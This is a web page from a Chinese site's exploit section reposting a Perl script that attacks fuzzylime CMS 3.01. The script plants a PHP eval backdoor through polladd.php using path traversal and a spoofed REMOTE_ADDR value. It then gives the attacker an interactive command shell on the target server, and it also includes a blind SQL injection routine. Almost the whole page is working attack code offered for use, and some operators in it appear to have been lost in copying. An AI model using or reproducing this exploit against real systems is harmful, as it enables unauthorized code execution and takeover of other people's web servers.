建站极客  
                        网络安全                          Exploit                          正文 
                     
                 
                
                    fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)                 
                
                    所属分类:
                        网络安全  / Exploit                      
                    阅读数:
                        127 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                    #!/usr/bin/perl  
#!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!! 
#after i noticed that there was a problem changing $cmd,i fixed it.this is the result. 
## 
## Fuzzylime 3.01 Remote Code Execution 
## Credits: real and inphex 
## 
## [C:\]# perl ye.pl host /path/ 
## :>id 
## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data) 
## 
 
use LWP::UserAgent; 
use HTTP::Cookies; 
use Switch; 
 
 
$host_ = "http://".shift; 
$path_ = shift; 
$info{'info'} = {  
"description" => ["#################################################\nFuzzyLime Remote Code Execution\n#################################################\nreal & inphex\n"], 
"options" => 
{ 
"agent" => "",   
"proxy" => "",   
"default_headers" => [   
["key","value"]],  
"timeout" => 2,  
"cookie" =>      
{ 
"cookie" => [""], 
}, 
}, 
"sending_options" => 
{ 
"host" => $host_,  
"path" => $path_."code/polladd.php",   
    "port" => 80,                   
"method_a" => "REMOTE_CODE_EXECUTION",   
"attack" => 
{ 
    "poll" => ["get","poll","....//swear"], 
"log" => ["get","log","1"], 
"_SERVER[REMOTE_ADDR]" => ["get","_SERVER[REMOTE_ADDR]","\";eval(\"\$_POST[cmd]\"); ?>"], 
}, 
}, 
 
}; 
 
&start($info{'info'},222); 
 
while () { 
print ":>"; 
$cmd = <STDIN>; 
chomp($cmd); 
$info1{'info1'} = { "options" =>{"agent" => "",  "proxy" => "",  "default_headers" => [  ["key","value"]], "timeout" => 2, "cookie" =>     {"cookie" => [""],},},"sending_options" =>{"host" => $host_, "path" => $path_."code/polls/swear.inc.php",  "port" => 80,                  "method_a" => "REMOTE_CODE_EXECUTION",  "attack" =>{ 
    "cmd" => ["post","cmd","system('".$cmd."');"],},},}; 
&start($info1{'info1'},221); 
print ${$info1{'info1'}}{221}{'content'}; 
} 
 
 
sub start 
{ 
 
$a_ = shift; 
$id = shift; 
$post_dA = ""; 
$get_dA = get_d_p_s("get"); 
$post_dA = get_d_p_s("post"); 
 
my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0); 
    $jj = 1; 
$ii = 48; 
    $hh = 1; 
$ppp = 0; 
$s = shift; 
$a = ""; 
$res_p = ""; 
$h = ""; 
$ua= ""; 
$agent= ""; 
$k= ""; 
$v= ""; 
$get_data= ""; 
$post_data= ""; 
$header_dA = ""; 
$h_host_h_xdsjaop = $a_->{'sending_options'}{'host'}; 
$h_path_h_xdsjaop = $a_->{'sending_options'}{'path'}; 
$h_port_h_xdsjaop = $a_->{'sending_options'}{'port'}; 
$method_m = $a_->{'sending_options'}{'method_a'}; 
$ua = LWP::UserAgent->new; 
$ua->timeout($a_->{'options'}{'timeout'});   
if ($a_->{'options'}{'proxy'}) { 
    $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'}); 
} 
$agent = $a_->{'options'}{'agent'} || "Mozilla/5.0";  
$ua->agent($agent);  
{                                                  
while (($k,$v) = each(%{$a_})) 
{ 
if ($k ne "options" && $k ne "sending_options") 
{ 
foreach $r (@{$a_->{$k}}) 
{ 
print $a_->{$k}[0]; 
} 
} 
} 
 
 
foreach $j (@{$a_->{'options'}{'default_headers'}}) 
{     
$ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]); 
$m  ; 
} 
 
if ($a_->{'options'}{'cookie'}{'cookie'}[0]) 
{           
$ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]); 
} 
 
 
 
} 
switch ($method_m)         
{ 
case "attack" { &attack();} 
case "SQL_INJECTION_BLIND" { &sql_injection_blind();} 
case "REMOTE_COMMAND_EXECUTION" { &attack();} 
case "REMOTE_CODE_EXECUTION" {&attack();} 
case "REMOTE_FILE_INCLUSION" { &attack();} 
case "LOCAL_FILE_INCLUSION" { &attack(); } 
else { &attack(); }   
 
} 
 
 
sub attack 
{ 
my ($jj); 
my ($h); 
my($x); 
if ($post_dA eq "") { 
$method = "get"; 
} elsif ($post_dA ne "") 
{ 
$method = "post"; 
} 
if ($method eq "get") {   
$res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA); 
${$a_}{$id}{'content'} = $res_p; 
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) 
{ 
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; 
 
while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) 
{ 
if (${$jj} ne "") 
{ 
${$a_}{$id}{'regex'}[$h][$x] = ${$jj}; 
$x  ; 
} 
$jj  ; 
} 
 
$h  ; 
} 
} elsif ($method eq "post") 
{ 
$res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA); 
 
${$a_}{$id}{'content'} = $res_p; 
 
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) 
{ 
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/; 
while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1]) 
{ 
if (${$jj} ne "") 
{ 
${$a_}{$id}{'regex'}[$h][$x] = ${$jj}; 
$x  ; 
} 
$jj  ; 
} 
$h  ; 
} 
} 
 
} 
sub sql_injection_blind 
{ 
while () 
{ 
while ($ii <= 120) 
{ 
 
$itsx = "[".chr($ii)."]"; 
$l = length($itsx); 
$b = ("\b")x$l; 
syswrite STDOUT,$b.$itsx; 
 
if(check($ii,$hh) == 1) 
{ 
syswrite STDOUT,$b.chr($ii)."---"; 
$hh  ; 
$chr = $chr.chr($ii); 
} 
$ii  ; 
} 
push(@ffs,length($chr));  
if (($#ffs - 999) == $ffs) 
{ 
exit; 
} 
$ii = 48; 
} 
} 
sub check($$) 
{ 
my ($h); 
my ($a); 
$ii = shift; 
$hh = shift; 
 
if (get_d_p_s("post") ne "") 
{ 
$method = "post"; 
} else { $method = "get";} 
if ($method eq "get") 
{ 
$ppp  ; 
$query = modify($get_dA,$ii,$hh); 
$res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query); 
 
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) 
{ 
if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) 
{ 
if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) { 
return 1; 
} else { return 0;} 
} 
else  
{ 
if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) { 
return 0; 
}else { return 1;} 
 
 
} 
$h  ; 
} 
} elsif ($method eq "post") 
{ 
$ppp  ; 
$query_g = modify($get_dA,$ii,$hh); 
$query_p = modify($post_dA,$ii,$hh); 
 
$res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p); 
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}}) 
{ 
if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/) 
{ 
return 1; 
} 
else  
{ 
return 0; 
} 
$h  ; 
} 
} 
} 
    sub modify($$$) 
{ 
    $string = shift; 
    $replace_by = shift; 
    $replace_by1 = shift; 
 
    if ($string !~/\$i/ && $string !~/\$h/) { 
    return $string; 
        } elsif ($string !~/\$i/) 
{ 
        $ff = substr($string,0,index($string,"\$h")); 
            $ee =  substr($string,rindex($string,"\$h") 2); 
            $string = $ff.$replace_by1.$ee; 
 
            return $string; 
} elsif ($string !~/\$h/) 
{ 
        $f = substr($string,0,index($string,"\$i")); 
        $e = substr($string,rindex($string,"\$i") 2); 
        $string = $f.$replace_by.$e; 
    return $string; 
} else 
{ 
    $f = substr($string,0,index($string,"\$i")); 
        $e = substr($string,rindex($string,"\$i") 2); 
        $string = $f.$replace_by.$e; 
 
    $ff = substr($string,0,index($string,"\$h")); 
        $ee =  substr($string,rindex($string,"\$h") 2); 
        $string = $ff.$replace_by1.$ee; 
 
    return $string; 
} 
} 
sub get_d_p_s 
{ 
$k = 0; 
$v = 0; 
$g_d_p_s = shift; 
 
@post = (); 
@get = (); 
 
$post_data = ""; 
$get_data = ""; 
$header_data = ""; 
%header_dA = (); 
$p = ""; 
$g = ""; 
while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}})) 
{ 
if ($a_->{'sending_options'}{'attack'}{$k}[0] =~/post/) 
{ 
$p .= $a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]."&"; 
} elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~/get/) { 
$g .= $a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]."&"; 
} elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header") 
{ 
        $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2]; 
} 
} 
if ($g_d_p_s eq "get") 
{ 
return $g; 
} 
elsif ($g_d_p_s eq "post") 
{ 
return $p; 
} elsif ($g_d_p_s eq "header") 
{ 
return %header_dA; 
} 
 
@a_ = (); 
} 
sub get_data 
{ 
$h_host_h_xdsjaop = shift; 
$h_path_h_xdsjaop = shift; 
%hash = get_d_p_s("header"); 
    while (($u,$c) = each(%hash)) 
{ 
$ua->default_headers->push_header($u => $c); 
} 
$req = $ua->get($h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_xdsjaop); 
return $req->content; 
} 
sub post_data 
{ 
$h_host_h_xdsjaop = shift; 
$h_path_h_xdsjaop = shift; 
$content_type = shift; 
$send = shift; 
%hash = get_d_p_s("header"); 
    while (($u,$c) = each(%hash)) 
{ 
    $ua->default_headers->push_header($u => $c); 
} 
$req = HTTP::Request->new(POST => $h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_xdsjaop); 
$req->content_type($content_type); 
$req->content($send); 
$res = $ua->request($req); 
return $res->content; 
} 
 
}